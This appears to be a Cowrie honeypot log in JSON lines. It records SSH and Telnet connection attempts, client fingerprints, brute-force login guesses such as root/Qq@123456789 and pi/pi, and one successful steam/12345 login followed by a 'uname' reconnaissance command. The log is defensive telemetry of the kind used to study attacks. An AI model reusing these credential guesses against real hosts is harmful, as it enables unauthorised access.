{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:34.609904Z","src_ip":"31.40.204.166","session":"152ee86b87bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35712,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e657a0c3bab","protocol":"telnet","message":"New connection: 152.42.224.71:35712 (10.17.0.5:23) [session: 2e657a0c3bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:36.669634Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50516,"dst_ip":"10.17.0.5","dst_port":22,"session":"42b2e0afec71","protocol":"ssh","message":"New connection: 152.42.212.128:50516 (10.17.0.5:22) [session: 42b2e0afec71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:36.747937Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:36.752895Z","src_ip":"152.42.212.128","session":"42b2e0afec71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:36.760845Z","src_ip":"152.42.212.128","session":"42b2e0afec71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.00041890144348,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:36.894154Z","src_ip":"152.42.224.71","session":"68c164aa87b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.8.188","src_port":42672,"dst_ip":"159.203.135.109","dst_port":22,"session":"d438e9623f1a","protocol":"ssh","message":"New connection: 101.47.8.188:42672 (159.203.135.109:22) [session: d438e9623f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:39.745003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:40.468217Z","src_ip":"101.47.8.188","session":"d438e9623f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:40.703663Z","src_ip":"101.47.8.188","session":"d438e9623f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35720,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f06d5d2d0f8","protocol":"telnet","message":"New connection: 152.42.224.71:35720 (10.17.0.5:23) [session: 3f06d5d2d0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:41.291238Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq@123456789","message":"login attempt [root/Qq@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:41.713837Z","src_ip":"101.47.8.188","session":"d438e9623f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35722,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9bb3ec153ef","protocol":"telnet","message":"New connection: 152.42.224.71:35722 (10.17.0.5:23) [session: a9bb3ec153ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:42.346931Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:42.976743Z","src_ip":"101.47.8.188","session":"d438e9623f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40292,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c5a69a99ef1","protocol":"ssh","message":"New connection: 31.40.204.166:40292 (159.203.135.109:22) [session: 1c5a69a99ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:46.283527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:46.292467Z","src_ip":"31.40.204.166","session":"1c5a69a99ef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:46.415212Z","src_ip":"31.40.204.166","session":"1c5a69a99ef1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:47.090485Z","src_ip":"31.40.204.166","session":"1c5a69a99ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.619953632354736,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:47.944882Z","src_ip":"152.42.224.71","session":"ddf0d017cce2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":117.13306093215942,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:48.074800Z","src_ip":"152.42.224.71","session":"b989104e7334","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:48.222606Z","src_ip":"31.40.204.166","session":"1c5a69a99ef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34754,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1bce2354e52","protocol":"telnet","message":"New connection: 152.42.224.71:34754 (10.17.0.5:23) [session: e1bce2354e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:51.040740Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34770,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f846c7195d","protocol":"telnet","message":"New connection: 152.42.224.71:34770 (10.17.0.5:23) [session: 99f846c7195d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:51.917268Z"}
{"eventid":"cowrie.session.closed","duration":120.00120568275452,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:52.055041Z","src_ip":"152.42.224.71","session":"eadac11a9b83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.25639820098877,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:55.819281Z","src_ip":"152.42.224.71","session":"35660db64324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56072,"dst_ip":"10.17.0.5","dst_port":23,"session":"65c692f75d13","protocol":"telnet","message":"New connection: 152.42.224.71:56072 (10.17.0.5:23) [session: 65c692f75d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:55.953248Z"}
{"eventid":"cowrie.session.closed","duration":15.912720918655396,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:57.203835Z","src_ip":"152.42.224.71","session":"3f06d5d2d0f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35220,"dst_ip":"159.203.135.109","dst_port":22,"session":"73b8cdaf59eb","protocol":"ssh","message":"New connection: 31.40.204.166:35220 (159.203.135.109:22) [session: 73b8cdaf59eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:58.123389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:58.218107Z","src_ip":"31.40.204.166","session":"73b8cdaf59eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:58.392083Z","src_ip":"31.40.204.166","session":"73b8cdaf59eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.46593713760376,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:58.869349Z","src_ip":"152.42.224.71","session":"614bc48c808e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:58.884227Z","src_ip":"31.40.204.166","session":"73b8cdaf59eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:00.021615Z","src_ip":"31.40.204.166","session":"73b8cdaf59eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":28933,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb65f045bdb1","protocol":"ssh","message":"New connection: 182.217.16.126:28933 (159.203.135.109:22) [session: cb65f045bdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:00.026959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:00.032260Z","src_ip":"182.217.16.126","session":"cb65f045bdb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:00.246206Z","src_ip":"182.217.16.126","session":"cb65f045bdb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ford","message":"login attempt [root/ford] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:01.098000Z","src_ip":"182.217.16.126","session":"cb65f045bdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:02.305819Z","src_ip":"182.217.16.126","session":"cb65f045bdb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35750,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c7688783079","protocol":"telnet","message":"New connection: 152.42.224.71:35750 (10.17.0.5:23) [session: 9c7688783079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:06.901786Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35758,"dst_ip":"10.17.0.5","dst_port":23,"session":"b03a75c57dc6","protocol":"telnet","message":"New connection: 152.42.224.71:35758 (10.17.0.5:23) [session: b03a75c57dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:08.435472Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41556,"dst_ip":"159.203.135.109","dst_port":22,"session":"721663956fea","protocol":"ssh","message":"New connection: 31.40.204.166:41556 (159.203.135.109:22) [session: 721663956fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:10.719762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:10.725925Z","src_ip":"31.40.204.166","session":"721663956fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:10.899284Z","src_ip":"31.40.204.166","session":"721663956fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:11.391764Z","src_ip":"31.40.204.166","session":"721663956fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:12.717120Z","src_ip":"31.40.204.166","session":"721663956fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35774,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2ed8aeff2f","protocol":"telnet","message":"New connection: 152.42.224.71:35774 (10.17.0.5:23) [session: 1f2ed8aeff2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:13.120540Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51264,"dst_ip":"10.17.0.5","dst_port":23,"session":"d89c82d2c077","protocol":"telnet","message":"New connection: 152.42.224.71:51264 (10.17.0.5:23) [session: d89c82d2c077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:16.619836Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51266,"dst_ip":"10.17.0.5","dst_port":23,"session":"58aa9f8f7f81","protocol":"telnet","message":"New connection: 152.42.224.71:51266 (10.17.0.5:23) [session: 58aa9f8f7f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:18.673983Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47858,"dst_ip":"159.203.135.109","dst_port":22,"session":"593b32d9fc9e","protocol":"ssh","message":"New connection: 31.40.204.166:47858 (159.203.135.109:22) [session: 593b32d9fc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:21.819422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:21.827157Z","src_ip":"31.40.204.166","session":"593b32d9fc9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:21.991719Z","src_ip":"31.40.204.166","session":"593b32d9fc9e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:22.489861Z","src_ip":"31.40.204.166","session":"593b32d9fc9e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:22.785651Z","src_ip":"31.40.204.166","session":"593b32d9fc9e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:22.789688Z","src_ip":"31.40.204.166","session":"593b32d9fc9e","protocol":"ssh"}
